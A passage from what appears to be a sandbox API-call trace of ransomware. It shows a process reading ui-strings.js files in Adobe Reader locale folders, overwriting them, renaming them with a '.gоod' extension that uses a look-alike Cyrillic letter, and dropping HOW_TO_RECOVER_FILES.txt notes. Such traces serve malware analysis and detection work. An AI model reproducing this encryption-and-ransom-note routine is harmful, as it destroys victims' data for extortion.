lpBuffer=0x3af9538*, lpNumberOfBytesRead=0x208ebf98*=0x48b, lpOverlapped=0x0) returned 1 [0263.942] CloseHandle (hObject=0x89c) returned 1 [0264.135] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0264.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0264.136] GetFileType (hFile=0x8a4) returned 0x1 [0264.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0264.137] GetFileType (hFile=0x8a4) returned 0x1 [0264.137] WriteFile (in: hFile=0x8a4, lpBuffer=0x3a2d7e8*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3a2d7e8*, lpNumberOfBytesWritten=0x208ebea8*=0x490, lpOverlapped=0x0) returned 1 [0264.137] CloseHandle (hObject=0x8a4) returned 1 [0264.137] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.137] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0264.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0264.137] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x99a7401a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0264.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0264.138] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\ui-strings.js.gоod")) returned 1 [0264.139] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0264.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0264.139] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0264.140] GetFileType (hFile=0x8a4) returned 0x1 [0264.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0264.140] GetFileType (hFile=0x8a4) returned 0x1 [0264.141] WriteFile (in: hFile=0x8a4, lpBuffer=0x3a310e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3a310e8*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0264.141] CloseHandle (hObject=0x8a4) returned 1 [0264.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0264.141] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x76 [0264.141] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0264.142] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.142] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.142] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.142] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0264.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0264.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0264.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0264.142] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x76 [0264.142] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0264.143] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.143] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.143] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.143] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0264.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0264.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0264.143] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0264.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a40fc0 | out: lpFileInformation=0x3a40fc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b)) returned 1 [0264.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0264.144] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0264.144] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0264.144] GetFileType (hFile=0x8a4) returned 0x1 [0264.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0264.144] GetFileType (hFile=0x8a4) returned 0x1 [0264.144] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x47b [0264.144] ReadFile (in: hFile=0x8a4, lpBuffer=0x3a417e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3a417e8*, lpNumberOfBytesRead=0x208ebf98*=0x47b, lpOverlapped=0x0) returned 1 [0264.145] CloseHandle (hObject=0x8a4) returned 1 [0264.815] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0264.815] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.816] GetFileType (hFile=0x828) returned 0x1 [0264.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0264.816] GetFileType (hFile=0x828) returned 0x1 [0264.817] WriteFile (in: hFile=0x828, lpBuffer=0x3776690*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3776690*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0264.817] CloseHandle (hObject=0x828) returned 1 [0264.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0264.817] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0264.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0264.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a0e02a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0264.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0264.817] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0264.819] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0264.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0264.820] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0264.820] GetFileType (hFile=0x828) returned 0x1 [0264.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0264.820] GetFileType (hFile=0x828) returned 0x1 [0264.821] WriteFile (in: hFile=0x828, lpBuffer=0x3779f90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3779f90*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0264.821] CloseHandle (hObject=0x828) returned 1 [0264.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0264.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x76 [0264.822] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0264.822] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.823] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.823] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.823] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0264.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0264.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0264.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0264.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x76 [0264.823] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0264.823] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.824] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 